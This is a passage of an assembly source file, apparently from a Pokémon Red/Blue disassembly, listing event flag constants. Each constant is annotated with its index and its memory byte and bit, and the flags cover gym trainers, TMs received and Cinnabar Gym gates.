0FA, (D766, bit 2) const EVENT_BEAT_POKEMONTOWER_4_TRAINER_2 ; 0FB, (D766, bit 3) const EVENT_0FC ; 0FC, (D766, bit 4) const EVENT_0FD ; 0FD, (D766, bit 5) const EVENT_0FE ; 0FE, (D766, bit 6) const EVENT_0FF ; 0FF, (D766, bit 7) const EVENT_100 ; 100, (D767, bit 0) const EVENT_101 ; 101, (D767, bit 1) const EVENT_BEAT_POKEMONTOWER_5_TRAINER_0 ; 102, (D767, bit 2) const EVENT_BEAT_POKEMONTOWER_5_TRAINER_1 ; 103, (D767, bit 3) const EVENT_BEAT_POKEMONTOWER_5_TRAINER_2 ; 104, (D767, bit 4) const EVENT_BEAT_POKEMONTOWER_5_TRAINER_3 ; 105, (D767, bit 5) const EVENT_106 ; 106, (D767, bit 6) const EVENT_IN_PURIFIED_ZONE ; 107, (D767, bit 7) const EVENT_108 ; 108, (D768, bit 0) const EVENT_BEAT_POKEMONTOWER_6_TRAINER_0 ; 109, (D768, bit 1) const EVENT_BEAT_POKEMONTOWER_6_TRAINER_1 ; 10A, (D768, bit 2) const EVENT_BEAT_POKEMONTOWER_6_TRAINER_2 ; 10B, (D768, bit 3) const EVENT_10C ; 10C, (D768, bit 4) const EVENT_10D ; 10D, (D768, bit 5) const EVENT_10E ; 10E, (D768, bit 6) const EVENT_BEAT_GHOST_MAROWAK ; 10F, (D768, bit 7) const EVENT_110 ; 110, (D769, bit 0) const EVENT_BEAT_POKEMONTOWER_7_TRAINER_0 ; 111, (D769, bit 1) const EVENT_BEAT_POKEMONTOWER_7_TRAINER_1 ; 112, (D769, bit 2) const EVENT_BEAT_POKEMONTOWER_7_TRAINER_2 ; 113, (D769, bit 3) const EVENT_114 ; 114, (D769, bit 4) const EVENT_115 ; 115, (D769, bit 5) const EVENT_116 ; 116, (D769, bit 6) const EVENT_RESCUED_MR_FUJI_2 ; 117, (D769, bit 7) const EVENT_118 ; 118, (D76A, bit 0) const EVENT_119 ; 119, (D76A, bit 1) const EVENT_11A ; 11A, (D76A, bit 2) const EVENT_11B ; 11B, (D76A, bit 3) const EVENT_11C ; 11C, (D76A, bit 4) const EVENT_11D ; 11D, (D76A, bit 5) const EVENT_11E ; 11E, (D76A, bit 6) const EVENT_11F ; 11F, (D76A, bit 7) const EVENT_120 ; 120, (D76B, bit 0) const EVENT_121 ; 121, (D76B, bit 1) const EVENT_122 ; 122, (D76B, bit 2) const EVENT_123 ; 123, (D76B, bit 3) const EVENT_124 ; 124, (D76B, bit 4) const EVENT_125 ; 125, (D76B, bit 5) const EVENT_126 ; 126, (D76B, bit 6) const EVENT_127 ; 127, (D76B, bit 7) const EVENT_GOT_POKE_FLUTE ; 128, (D76C, bit 0) const EVENT_129 ; 129, (D76C, bit 1) const EVENT_12A ; 12A, (D76C, bit 2) const EVENT_12B ; 12B, (D76C, bit 3) const EVENT_12C ; 12C, (D76C, bit 4) const EVENT_12D ; 12D, (D76C, bit 5) const EVENT_12E ; 12E, (D76C, bit 6) const EVENT_12F ; 12F, (D76C, bit 7) const EVENT_130 ; 130, (D76D, bit 0) const EVENT_131 ; 131, (D76D, bit 1) const EVENT_132 ; 132, (D76D, bit 2) const EVENT_133 ; 133, (D76D, bit 3) const EVENT_134 ; 134, (D76D, bit 4) const EVENT_135 ; 135, (D76D, bit 5) const EVENT_136 ; 136, (D76D, bit 6) const EVENT_137 ; 137, (D76D, bit 7) const EVENT_138 ; 138, (D76E, bit 0) const EVENT_139 ; 139, (D76E, bit 1) const EVENT_13A ; 13A, (D76E, bit 2) const EVENT_13B ; 13B, (D76E, bit 3) const EVENT_13C ; 13C, (D76E, bit 4) const EVENT_13D ; 13D, (D76E, bit 5) const EVENT_13E ; 13E, (D76E, bit 6) const EVENT_13F ; 13F, (D76E, bit 7) const EVENT_140 ; 140, (D76F, bit 0) const EVENT_141 ; 141, (D76F, bit 1) const EVENT_142 ; 142, (D76F, bit 2) const EVENT_143 ; 143, (D76F, bit 3) const EVENT_144 ; 144, (D76F, bit 4) const EVENT_145 ; 145, (D76F, bit 5) const EVENT_146 ; 146, (D76F, bit 6) const EVENT_147 ; 147, (D76F, bit 7) const EVENT_148 ; 148, (D770, bit 0) const EVENT_149 ; 149, (D770, bit 1) const EVENT_14A ; 14A, (D770, bit 2) const EVENT_14B ; 14B, (D770, bit 3) const EVENT_14C ; 14C, (D770, bit 4) const EVENT_14D ; 14D, (D770, bit 5) const EVENT_14E ; 14E, (D770, bit 6) const EVENT_14F ; 14F, (D770, bit 7) const EVENT_150 ; 150, (D771, bit 0) const EVENT_GOT_BIKE_VOUCHER ; 151, (D771, bit 1) const EVENT_152 ; 152, (D771, bit 2) const EVENT_153 ; 153, (D771, bit 3) const EVENT_154 ; 154, (D771, bit 4) const EVENT_155 ; 155, (D771, bit 5) const EVENT_SEEL_FAN_BOAST ; 156, (D771, bit 6) const EVENT_PIKACHU_FAN_BOAST ; 157, (D771, bit 7) const EVENT_158 ; 158, (D772, bit 0) const EVENT_159 ; 159, (D772, bit 1) const EVENT_15A ; 15A, (D772, bit 2) const EVENT_15B ; 15B, (D772, bit 3) const EVENT_15C ; 15C, (D772, bit 4) const EVENT_15D ; 15D, (D772, bit 5) const EVENT_15E ; 15E, (D772, bit 6) const EVENT_15F ; 15F, (D772, bit 7) const EVENT_2ND_LOCK_OPENED ; 160, (D773, bit 0) const EVENT_1ST_LOCK_OPENED ; 161, (D773, bit 1) const EVENT_BEAT_VERMILION_GYM_TRAINER_0 ; 162, (D773, bit 2) const EVENT_BEAT_VERMILION_GYM_TRAINER_1 ; 163, (D773, bit 3) const EVENT_BEAT_VERMILION_GYM_TRAINER_2 ; 164, (D773, bit 4) const EVENT_165 ; 165, (D773, bit 5) const EVENT_GOT_TM24 ; 166, (D773, bit 6) const EVENT_BEAT_LT_SURGE ; 167, (D773, bit 7) const EVENT_168 ; 168, (D774, bit 0) const EVENT_169 ; 169, (D774, bit 1) const EVENT_16A ; 16A, (D774, bit 2) const EVENT_16B ; 16B, (D774, bit 3) const EVENT_16C ; 16C, (D774, bit 4) const EVENT_16D ; 16D, (D774, bit 5) const EVENT_16E ; 16E, (D774, bit 6) const EVENT_16F ; 16F, (D774, bit 7) const EVENT_170 ; 170, (D775, bit 0) const EVENT_171 ; 171, (D775, bit 1) const EVENT_172 ; 172, (D775, bit 2) const EVENT_173 ; 173, (D775, bit 3) const EVENT_174 ; 174, (D775, bit 4) const EVENT_175 ; 175, (D775, bit 5) const EVENT_176 ; 176, (D775, bit 6) const EVENT_177 ; 177, (D775, bit 7) const EVENT_178 ; 178, (D776, bit 0) const EVENT_179 ; 179, (D776, bit 1) const EVENT_17A ; 17A, (D776, bit 2) const EVENT_17B ; 17B, (D776, bit 3) const EVENT_17C ; 17C, (D776, bit 4) const EVENT_17D ; 17D, (D776, bit 5) const EVENT_17E ; 17E, (D776, bit 6) const EVENT_17F ; 17F, (D776, bit 7) const EVENT_GOT_TM41 ; 180, (D777, bit 0) const EVENT_181 ; 181, (D777, bit 1) const EVENT_182 ; 182, (D777, bit 2) const EVENT_183 ; 183, (D777, bit 3) const EVENT_184 ; 184, (D777, bit 4) const EVENT_185 ; 185, (D777, bit 5) const EVENT_186 ; 186, (D777, bit 6) const EVENT_187 ; 187, (D777, bit 7) const EVENT_188 ; 188, (D778, bit 0) const EVENT_189 ; 189, (D778, bit 1) const EVENT_18A ; 18A, (D778, bit 2) const EVENT_18B ; 18B, (D778, bit 3) const EVENT_GOT_TM13 ; 18C, (D778, bit 4) const EVENT_GOT_TM48 ; 18D, (D778, bit 5) const EVENT_GOT_TM49 ; 18E, (D778, bit 6) const EVENT_GOT_TM18 ; 18F, (D778, bit 7) const EVENT_190 ; 190, (D779, bit 0) const EVENT_191 ; 191, (D779, bit 1) const EVENT_192 ; 192, (D779, bit 2) const EVENT_193 ; 193, (D779, bit 3) const EVENT_194 ; 194, (D779, bit 4) const EVENT_195 ; 195, (D779, bit 5) const EVENT_196 ; 196, (D779, bit 6) const EVENT_197 ; 197, (D779, bit 7) const EVENT_198 ; 198, (D77A, bit 0) const EVENT_199 ; 199, (D77A, bit 1) const EVENT_19A ; 19A, (D77A, bit 2) const EVENT_19B ; 19B, (D77A, bit 3) const EVENT_19C ; 19C, (D77A, bit 4) const EVENT_19D ; 19D, (D77A, bit 5) const EVENT_19E ; 19E, (D77A, bit 6) const EVENT_19F ; 19F, (D77A, bit 7) const EVENT_1A0 ; 1A0, (D77B, bit 0) const EVENT_1A1 ; 1A1, (D77B, bit 1) const EVENT_1A2 ; 1A2, (D77B, bit 2) const EVENT_1A3 ; 1A3, (D77B, bit 3) const EVENT_1A4 ; 1A4, (D77B, bit 4) const EVENT_1A5 ; 1A5, (D77B, bit 5) const EVENT_1A6 ; 1A6, (D77B, bit 6) const EVENT_1A7 ; 1A7, (D77B, bit 7) const EVENT_GOT_TM21 ; 1A8, (D77C, bit 0) const EVENT_BEAT_ERIKA ; 1A9, (D77C, bit 1) const EVENT_BEAT_CELADON_GYM_TRAINER_0 ; 1AA, (D77C, bit 2) const EVENT_BEAT_CELADON_GYM_TRAINER_1 ; 1AB, (D77C, bit 3) const EVENT_BEAT_CELADON_GYM_TRAINER_2 ; 1AC, (D77C, bit 4) const EVENT_BEAT_CELADON_GYM_TRAINER_3 ; 1AD, (D77C, bit 5) const EVENT_BEAT_CELADON_GYM_TRAINER_4 ; 1AE, (D77C, bit 6) const EVENT_BEAT_CELADON_GYM_TRAINER_5 ; 1AF, (D77C, bit 7) const EVENT_BEAT_CELADON_GYM_TRAINER_6 ; 1B0, (D77D, bit 0) const EVENT_1B1 ; 1B1, (D77D, bit 1) const EVENT_1B2 ; 1B2, (D77D, bit 2) const EVENT_1B3 ; 1B3, (D77D, bit 3) const EVENT_1B4 ; 1B4, (D77D, bit 4) const EVENT_1B5 ; 1B5, (D77D, bit 5) const EVENT_1B6 ; 1B6, (D77D, bit 6) const EVENT_1B7 ; 1B7, (D77D, bit 7) const EVENT_1B8 ; 1B8, (D77E, bit 0) const EVENT_FOUND_ROCKET_HIDEOUT ; 1B9, (D77E, bit 1) const EVENT_GOT_10_COINS ; 1BA, (D77E, bit 2) const EVENT_GOT_20_COINS ; 1BB, (D77E, bit 3) const EVENT_GOT_20_COINS_2 ; 1BC, (D77E, bit 4) const EVENT_1BD ; 1BD, (D77E, bit 5) const EVENT_1BE ; 1BE, (D77E, bit 6) const EVENT_1BF ; 1BF, (D77E, bit 7) const EVENT_1C0 ; 1C0, (D77F, bit 0) const EVENT_1C1 ; 1C1, (D77F, bit 1) const EVENT_1C2 ; 1C2, (D77F, bit 2) const EVENT_1C3 ; 1C3, (D77F, bit 3) const EVENT_1C4 ; 1C4, (D77F, bit 4) const EVENT_1C5 ; 1C5, (D77F, bit 5) const EVENT_1C6 ; 1C6, (D77F, bit 6) const EVENT_1C7 ; 1C7, (D77F, bit 7) const EVENT_1C8 ; 1C8, (D780, bit 0) const EVENT_1C9 ; 1C9, (D780, bit 1) const EVENT_1CA ; 1CA, (D780, bit 2) const EVENT_1CB ; 1CB, (D780, bit 3) const EVENT_1CC ; 1CC, (D780, bit 4) const EVENT_1CD ; 1CD, (D780, bit 5) const EVENT_1CE ; 1CE, (D780, bit 6) const EVENT_1CF ; 1CF, (D780, bit 7) const EVENT_1D0 ; 1D0, (D781, bit 0) const EVENT_1D1 ; 1D1, (D781, bit 1) const EVENT_1D2 ; 1D2, (D781, bit 2) const EVENT_1D3 ; 1D3, (D781, bit 3) const EVENT_1D4 ; 1D4, (D781, bit 4) const EVENT_1D5 ; 1D5, (D781, bit 5) const EVENT_1D6 ; 1D6, (D781, bit 6) const EVENT_1D7 ; 1D7, (D781, bit 7) const EVENT_1D8 ; 1D8, (D782, bit 0) const EVENT_1D9 ; 1D9, (D782, bit 1) const EVENT_1DA ; 1DA, (D782, bit 2) const EVENT_1DB ; 1DB, (D782, bit 3) const EVENT_1DC ; 1DC, (D782, bit 4) const EVENT_1DD ; 1DD, (D782, bit 5) const EVENT_1DE ; 1DE, (D782, bit 6) const EVENT_1DF ; 1DF, (D782, bit 7) const EVENT_GOT_COIN_CASE ; 1E0, (D783, bit 0) const EVENT_1E1 ; 1E1, (D783, bit 1) const EVENT_1E2 ; 1E2, (D783, bit 2) const EVENT_1E3 ; 1E3, (D783, bit 3) const EVENT_1E4 ; 1E4, (D783, bit 4) const EVENT_1E5 ; 1E5, (D783, bit 5) const EVENT_1E6 ; 1E6, (D783, bit 6) const EVENT_1E7 ; 1E7, (D783, bit 7) const EVENT_1E8 ; 1E8, (D784, bit 0) const EVENT_1E9 ; 1E9, (D784, bit 1) const EVENT_1EA ; 1EA, (D784, bit 2) const EVENT_1EB ; 1EB, (D784, bit 3) const EVENT_1EC ; 1EC, (D784, bit 4) const EVENT_1ED ; 1ED, (D784, bit 5) const EVENT_1EE ; 1EE, (D784, bit 6) const EVENT_1EF ; 1EF, (D784, bit 7) const EVENT_1F0 ; 1F0, (D785, bit 0) const EVENT_1F1 ; 1F1, (D785, bit 1) const EVENT_1F2 ; 1F2, (D785, bit 2) const EVENT_1F3 ; 1F3, (D785, bit 3) const EVENT_1F4 ; 1F4, (D785, bit 4) const EVENT_1F5 ; 1F5, (D785, bit 5) const EVENT_1F6 ; 1F6, (D785, bit 6) const EVENT_1F7 ; 1F7, (D785, bit 7) const EVENT_1F8 ; 1F8, (D786, bit 0) const EVENT_1F9 ; 1F9, (D786, bit 1) const EVENT_1FA ; 1FA, (D786, bit 2) const EVENT_1FB ; 1FB, (D786, bit 3) const EVENT_1FC ; 1FC, (D786, bit 4) const EVENT_1FD ; 1FD, (D786, bit 5) const EVENT_1FE ; 1FE, (D786, bit 6) const EVENT_1FF ; 1FF, (D786, bit 7) const EVENT_200 ; 200, (D787, bit 0) const EVENT_201 ; 201, (D787, bit 1) const EVENT_202 ; 202, (D787, bit 2) const EVENT_203 ; 203, (D787, bit 3) const EVENT_204 ; 204, (D787, bit 4) const EVENT_205 ; 205, (D787, bit 5) const EVENT_206 ; 206, (D787, bit 6) const EVENT_207 ; 207, (D787, bit 7) const EVENT_208 ; 208, (D788, bit 0) const EVENT_209 ; 209, (D788, bit 1) const EVENT_20A ; 20A, (D788, bit 2) const EVENT_20B ; 20B, (D788, bit 3) const EVENT_20C ; 20C, (D788, bit 4) const EVENT_20D ; 20D, (D788, bit 5) const EVENT_20E ; 20E, (D788, bit 6) const EVENT_20F ; 20F, (D788, bit 7) const EVENT_210 ; 210, (D789, bit 0) const EVENT_211 ; 211, (D789, bit 1) const EVENT_212 ; 212, (D789, bit 2) const EVENT_213 ; 213, (D789, bit 3) const EVENT_214 ; 214, (D789, bit 4) const EVENT_215 ; 215, (D789, bit 5) const EVENT_216 ; 216, (D789, bit 6) const EVENT_217 ; 217, (D789, bit 7) const EVENT_218 ; 218, (D78A, bit 0) const EVENT_219 ; 219, (D78A, bit 1) const EVENT_21A ; 21A, (D78A, bit 2) const EVENT_21B ; 21B, (D78A, bit 3) const EVENT_21C ; 21C, (D78A, bit 4) const EVENT_21D ; 21D, (D78A, bit 5) const EVENT_21E ; 21E, (D78A, bit 6) const EVENT_21F ; 21F, (D78A, bit 7) const EVENT_220 ; 220, (D78B, bit 0) const EVENT_221 ; 221, (D78B, bit 1) const EVENT_222 ; 222, (D78B, bit 2) const EVENT_223 ; 223, (D78B, bit 3) const EVENT_224 ; 224, (D78B, bit 4) const EVENT_225 ; 225, (D78B, bit 5) const EVENT_226 ; 226, (D78B, bit 6) const EVENT_227 ; 227, (D78B, bit 7) const EVENT_228 ; 228, (D78C, bit 0) const EVENT_229 ; 229, (D78C, bit 1) const EVENT_22A ; 22A, (D78C, bit 2) const EVENT_22B ; 22B, (D78C, bit 3) const EVENT_22C ; 22C, (D78C, bit 4) const EVENT_22D ; 22D, (D78C, bit 5) const EVENT_22E ; 22E, (D78C, bit 6) const EVENT_22F ; 22F, (D78C, bit 7) const EVENT_230 ; 230, (D78D, bit 0) const EVENT_231 ; 231, (D78D, bit 1) const EVENT_232 ; 232, (D78D, bit 2) const EVENT_233 ; 233, (D78D, bit 3) const EVENT_234 ; 234, (D78D, bit 4) const EVENT_235 ; 235, (D78D, bit 5) const EVENT_236 ; 236, (D78D, bit 6) const EVENT_237 ; 237, (D78D, bit 7) const EVENT_GOT_HM04 ; 238, (D78E, bit 0) const EVENT_GAVE_GOLD_TEETH ; 239, (D78E, bit 1) const EVENT_23A ; 23A, (D78E, bit 2) const EVENT_23B ; 23B, (D78E, bit 3) const EVENT_23C ; 23C, (D78E, bit 4) const EVENT_23D ; 23D, (D78E, bit 5) const EVENT_23E ; 23E, (D78E, bit 6) const EVENT_23F ; 23F, (D78E, bit 7) const EVENT_240 ; 240, (D78F, bit 0) const EVENT_241 ; 241, (D78F, bit 1) const EVENT_242 ; 242, (D78F, bit 2) const EVENT_243 ; 243, (D78F, bit 3) const EVENT_244 ; 244, (D78F, bit 4) const EVENT_245 ; 245, (D78F, bit 5) const EVENT_246 ; 246, (D78F, bit 6) const EVENT_247 ; 247, (D78F, bit 7) const EVENT_248 ; 248, (D790, bit 0) const EVENT_249 ; 249, (D790, bit 1) const EVENT_24A ; 24A, (D790, bit 2) const EVENT_24B ; 24B, (D790, bit 3) const EVENT_24C ; 24C, (D790, bit 4) const EVENT_24D ; 24D, (D790, bit 5) const EVENT_SAFARI_GAME_OVER ; 24E, (D790, bit 6) const EVENT_IN_SAFARI_ZONE ; 24F, (D790, bit 7) const EVENT_250 ; 250, (D791, bit 0) const EVENT_251 ; 251, (D791, bit 1) const EVENT_252 ; 252, (D791, bit 2) const EVENT_253 ; 253, (D791, bit 3) const EVENT_254 ; 254, (D791, bit 4) const EVENT_255 ; 255, (D791, bit 5) const EVENT_256 ; 256, (D791, bit 6) const EVENT_257 ; 257, (D791, bit 7) const EVENT_GOT_TM06 ; 258, (D792, bit 0) const EVENT_BEAT_KOGA ; 259, (D792, bit 1) const EVENT_BEAT_FUCHSIA_GYM_TRAINER_0 ; 25A, (D792, bit 2) const EVENT_BEAT_FUCHSIA_GYM_TRAINER_1 ; 25B, (D792, bit 3) const EVENT_BEAT_FUCHSIA_GYM_TRAINER_2 ; 25C, (D792, bit 4) const EVENT_BEAT_FUCHSIA_GYM_TRAINER_3 ; 25D, (D792, bit 5) const EVENT_BEAT_FUCHSIA_GYM_TRAINER_4 ; 25E, (D792, bit 6) const EVENT_BEAT_FUCHSIA_GYM_TRAINER_5 ; 25F, (D792, bit 7) const EVENT_260 ; 260, (D793, bit 0) const EVENT_261 ; 261, (D793, bit 1) const EVENT_262 ; 262, (D793, bit 2) const EVENT_263 ; 263, (D793, bit 3) const EVENT_264 ; 264, (D793, bit 4) const EVENT_265 ; 265, (D793, bit 5) const EVENT_266 ; 266, (D793, bit 6) const EVENT_267 ; 267, (D793, bit 7) const EVENT_268 ; 268, (D794, bit 0) const EVENT_269 ; 269, (D794, bit 1) const EVENT_26A ; 26A, (D794, bit 2) const EVENT_26B ; 26B, (D794, bit 3) const EVENT_26C ; 26C, (D794, bit 4) const EVENT_26D ; 26D, (D794, bit 5) const EVENT_26E ; 26E, (D794, bit 6) const EVENT_26F ; 26F, (D794, bit 7) const EVENT_270 ; 270, (D795, bit 0) const EVENT_271 ; 271, (D795, bit 1) const EVENT_272 ; 272, (D795, bit 2) const EVENT_273 ; 273, (D795, bit 3) const EVENT_274 ; 274, (D795, bit 4) const EVENT_275 ; 275, (D795, bit 5) const EVENT_276 ; 276, (D795, bit 6) const EVENT_277 ; 277, (D795, bit 7) const EVENT_MANSION_SWITCH_ON ; 278, (D796, bit 0) const EVENT_279 ; 279, (D796, bit 1) const EVENT_27A ; 27A, (D796, bit 2) const EVENT_27B ; 27B, (D796, bit 3) const EVENT_27C ; 27C, (D796, bit 4) const EVENT_27D ; 27D, (D796, bit 5) const EVENT_27E ; 27E, (D796, bit 6) const EVENT_27F ; 27F, (D796, bit 7) const EVENT_280 ; 280, (D797, bit 0) const EVENT_281 ; 281, (D797, bit 1) const EVENT_282 ; 282, (D797, bit 2) const EVENT_283 ; 283, (D797, bit 3) const EVENT_284 ; 284, (D797, bit 4) const EVENT_285 ; 285, (D797, bit 5) const EVENT_286 ; 286, (D797, bit 6) const EVENT_287 ; 287, (D797, bit 7) const EVENT_288 ; 288, (D798, bit 0) const EVENT_BEAT_MANSION_1_TRAINER_0 ; 289, (D798, bit 1) const EVENT_28A ; 28A, (D798, bit 2) const EVENT_28B ; 28B, (D798, bit 3) const EVENT_28C ; 28C, (D798, bit 4) const EVENT_28D ; 28D, (D798, bit 5) const EVENT_28E ; 28E, (D798, bit 6) const EVENT_28F ; 28F, (D798, bit 7) const EVENT_290 ; 290, (D799, bit 0) const EVENT_291 ; 291, (D799, bit 1) const EVENT_292 ; 292, (D799, bit 2) const EVENT_293 ; 293, (D799, bit 3) const EVENT_294 ; 294, (D799, bit 4) const EVENT_295 ; 295, (D799, bit 5) const EVENT_296 ; 296, (D799, bit 6) const EVENT_297 ; 297, (D799, bit 7) const EVENT_GOT_TM38 ; 298, (D79A, bit 0) const EVENT_BEAT_BLAINE ; 299, (D79A, bit 1) const EVENT_BEAT_CINNABAR_GYM_TRAINER_0 ; 29A, (D79A, bit 2) const EVENT_BEAT_CINNABAR_GYM_TRAINER_1 ; 29B, (D79A, bit 3) const EVENT_BEAT_CINNABAR_GYM_TRAINER_2 ; 29C, (D79A, bit 4) const EVENT_BEAT_CINNABAR_GYM_TRAINER_3 ; 29D, (D79A, bit 5) const EVENT_BEAT_CINNABAR_GYM_TRAINER_4 ; 29E, (D79A, bit 6) const EVENT_BEAT_CINNABAR_GYM_TRAINER_5 ; 29F, (D79A, bit 7) const EVENT_BEAT_CINNABAR_GYM_TRAINER_6 ; 2A0, (D79B, bit 0) const EVENT_2A1 ; 2A1, (D79B, bit 1) const EVENT_2A2 ; 2A2, (D79B, bit 2) const EVENT_2A3 ; 2A3, (D79B, bit 3) const EVENT_2A4 ; 2A4, (D79B, bit 4) const EVENT_2A5 ; 2A5, (D79B, bit 5) const EVENT_2A6 ; 2A6, (D79B, bit 6) const EVENT_2A7 ; 2A7, (D79B, bit 7) const EVENT_CINNABAR_GYM_GATE0_UNLOCKED ; 2A8, (D79C, bit 0) doesn't exist, but the bit is set const EVENT_CINNABAR_GYM_GATE1_UNLOCKED ; 2A9, (D79C, bit 1) const EVENT_CINNABAR_GYM_GATE2_UNLOCKED ; 2AA, (D79C, bit 2) const EVENT_CINNABAR_GYM_GATE3_UNLOCKED ; 2AB, (D79C, bit 3) const EVENT_CINNABAR_GYM_GATE4_UNLOCKED ; 2AC, (D79C, bit 4) const EVENT_CINNABAR_GYM_GATE5_UNLOCKED ; 2AD, (D79C, bit 5) const EVENT_CINNABAR_GYM_GATE6_UNLOCKED ; 2AE, (D79C, bit 6) const EVENT_2AF ; 2AF, (D79C, bit 7) const EVENT_2B0 ; 2B0, (D79D, bit 0) const EVENT_2B1 ; 2B1, (D79D, bit 1) const EVENT_2B2 ; 2B2, (D79D, bit 2) const EVENT_2B3 ; 2B3, (D79D, bit 3) const EVENT_2B4 ; 2B4, (D79D, bit 4) const EVENT_2B5 ; 2B5, (D79D, bit 5) const EVENT_2B6 ; 2B6, (D79D, bit 6) const EVENT_2B7 ; 2B7, (D79D, bit 7) const EVENT_2B8 ; 2B8, (D79E, bit 0) const EVENT_2B9 ; 2B9, (D79E, bit 1) const EVENT_2BA ; 2BA, (D79E, bit 2) const EVENT_2BB ; 2BB, (D79E, bit 3) const EVENT_2BC ; 2BC, (D79E, bit 4) const EVENT_2BD ; 2BD, (D79E, bit 5) const EVENT_2BE ; 2BE, (D79E, bit 6) const EVENT_2BF ; 2BF, (D79E, bit 7) const EVENT_2C0 ; 2C0, (D79F, bit 0) const EVENT_2C1 ; 2C1, (D79F, bit 1) const EVENT_2C2 ; 2C2, (D79F, bit 2) const EVENT_2C3 ; 2C3, (D79F, bit 3) const EVENT_2C4 ; 2C4, (D79F, bit 4) const EVENT_2C5 ; 2C5, (D79F, bit 5) const EVENT_2C6 ; 2C6, (D79F, bit 6) const EVENT_2C7 ; 2C7, (D79F, bit 7) const EVENT_2C8 ; 2C8, (D7A0, bit 0) const EVENT_2C9 ; 2C9, (D7A0, bit 1) const EVENT_2CA ; 2CA, (D7A0, bit 2) const EVENT_2CB ; 2CB, (D7A0, bit 3) const EVENT_2CC ; 2CC, (D7A0, bit 4) const EVENT_2CD ; 2CD, (D7A0, bit 5) const EVENT_2CE ; 2CE, (D7A0, bit 6) const EVENT_2CF ; 2CF, (D7A0, bit 7) const EVENT_2D0 ; 2D0, (D7A1, bit 0) const EVENT_2D1 ; 2D1, (D7A1, bit 1) const EVENT_2D2 ; 2D2, (D7A1, bit 2) const EVENT_2D3 ; 2D3, (D7A1, bit 3) const EVENT_2D4 ; 2D4, (D7A1, bit 4) const EVENT_2D5 ; 2D5, (D7A1, bit 5) const EVENT_2D6 ; 2D6, (D7A1, bit 6) const EVENT_GOT_TM35 ; 2D7, (D7A1, bit 7) const EVENT_2D8 ; 2D8, (D7A2, bit 0) const EVENT_2D9 ; 2D9, (D7A2, bit 1) const EVENT_2DA ; 2DA, (D7A2, bit 2) const EVENT_2DB ; 2DB, (D7A2, bit 3) const EVENT_2DC ; 2DC, (D7A2, bit 4) const EVENT_2DD ; 2DD, (D7A2, bit 5) const EVENT_2DE ; 2DE, (D7A2, bit 6) const EVENT_2DF ; 2DF, (D7A2, bit 7) const EVENT_GAVE_FOSSIL_TO_LAB ; 2E0, (D7A3, bit 0) const EVENT_LAB_STILL_REVIVING_FOSSIL ; 2E1, (D7A3, bit 1) const EVENT_LAB_HANDING_OVER_FOSSIL_MON ; 2E2, (D7A3, bit 2) const EVENT_2E3 ; 2E3, (D7A3, bit 3) const EVENT_2E4 ; 2E4, (D7A3, bit 4) const EVENT_2E5 ; 2E5, (D7A3, bit 5) const EVENT_2E6 ; 2E6, (D7A3, bit 6) const EVENT_2E7 ; 2E7, (D7A3, bit 7) const EVENT_2E8 ; 2E8, (D7A4, bit 0) const EVENT_2E9 ; 2E9, (D7A4, bit 1) const EVENT_2EA ; 2EA, (D7A4, bit 2) const EVENT_2EB ; 2EB, (D7A4, bit 3) const EVENT_2EC ; 2EC, (D7A4, bit 4) const EVENT_2ED ; 2ED, (D7A4, bit 5) const EVENT_2EE ; 2EE, (D7A4, bit 6) const EVENT_2EF ; 2EF, (D7A4, bit 7) const EVENT_2F0 ; 2F0, (D7A5, bit 0) const EVENT_2F1 ; 2F1, (D7A5, bit 1) const EVENT_2F2 ; 2F2, (D7A5, bit 2) const EVENT_2F3 ; 2F3, (D7A5, bit 3) const EVENT_2F4 ; 2F4, (D7A5, bit 4) const EVENT_2F5 ; 2F5, (D7A5, bit 5) const EVENT_2F6 ; 2F6, (D7A5, bit 6) const EVENT_2F7 ; 2F7, (D7A5, bit 7) const EVENT_2F8 ; 2F8, (D7A6, bit 0) const EVENT_2F9 ; 2F9, (D7A6, bit 1) const EVENT_2FA ; 2FA, (D7A6, bit 2) const EVENT_2FB ; 2FB, (D7A6, bit 3) const EVENT_2FC ; 2FC, (D7A6, bit 4) const EVENT_2FD ; 2FD, (D7A6, bit 5) const EVENT_2FE ; 2FE, (D7A6, bit 6) const EVENT_2FF ; 2FF, (D7A6, bit 7) const EVENT_300 ; 300, (D7A7, bit 0) const EVENT_301 ; 301, (D7A7, bit 1) const EVENT_302 ; 302, (D7A7, bit 2) const EVENT_303 ; 303, (D7A7, bit 3) const EVENT_304 ; 304, (D7A7, bit 4) const EVENT_305 ; 305, (D7A7, bit 5) const EVENT_306 ; 306, (D7A7, bit 6) const EVENT_307 ; 307, (D7A7, bit 7) const EVENT_308 ; 308, (D7A8, bit 0) const EVENT_309 ; 309, (D7A8, bit 1) const EVENT_30A ; 30A, (D7A8, bit 2) const EVENT_30B ; 30B, (D7A8, bit 3) const EVENT_30C ; 30C, (D7A8, bit 4) const EVENT_30D ; 30D, (D7A8, bit 5) const EVENT_30E ; 30E, (D7A8, bit 6) const EVENT_30F ; 30F, (D7A8, bit 7) const EVENT_310 ; 310, (D7A9, bit 0) const EVENT_311 ; 311, (D7A9, bit 1) const EVENT_312 ; 312, (D7A9, bit 2) const EVENT_313 ; 313, (D7A9, bit 3) const EVENT_314 ; 314, (D7A9, bit 4) const EVENT_315 ; 315, (D7A9, bit 5) const EVENT_316 ; 316, (D7A9, bit 6) const EVENT_317 ; 317, (D7A9, bit 7) const EVENT_318 ; 318, (D7AA, bit 0) const EVENT_319 ; 319, (D7AA, bit 1) const EVENT_31A ; 31A, (D7AA, bit 2) const EVENT_31B ; 31B, (D7AA, bit 3) const EVENT_31C ; 31C, (D7AA, bit 4) const EVENT_31D ; 31D, (D7AA, bit 5) const EVENT_31E ; 31E, (D7AA, bit 6) const EVENT_31F ; 31F, (D7AA, bit 7) const EVENT_320 ; 320, (D7AB, bit 0) const EVENT_321 ; 321, (D7AB, bit 1) const EVENT_322 ; 322, (D7AB, bit 2) const EVENT_323 ; 323, (D7AB, bit 3) const EVENT_324 ; 324, (D7AB, bit 4) const EVENT_325 ; 325, (D7AB, bit 5) const EVENT_326 ; 326, (D7AB, bit 6) const EVENT_327 ; 327, (D7AB, bit 7) const EVENT_328 ; 328, (D7AC, bit 0) const EVENT_329 ; 329, (D7AC, bit 1) const EVENT_32A ; 32A, (D7AC, bit 2) const EVENT_32B ; 32B, (D7AC, bit 3) const EVENT_32C ; 32C, (D7AC, bit 4) const EVENT_32D ; 32D, (D7AC, bit 5) const EVENT_32E ; 32E, (D7AC, bit 6) const EVENT_32F ; 32F, (D7AC, bit 7) const EVENT_330 ; 330, (D7AD, bit 0) const EVENT_331 ; 331, (D7AD, bit 1) const EVENT_332 ; 332, 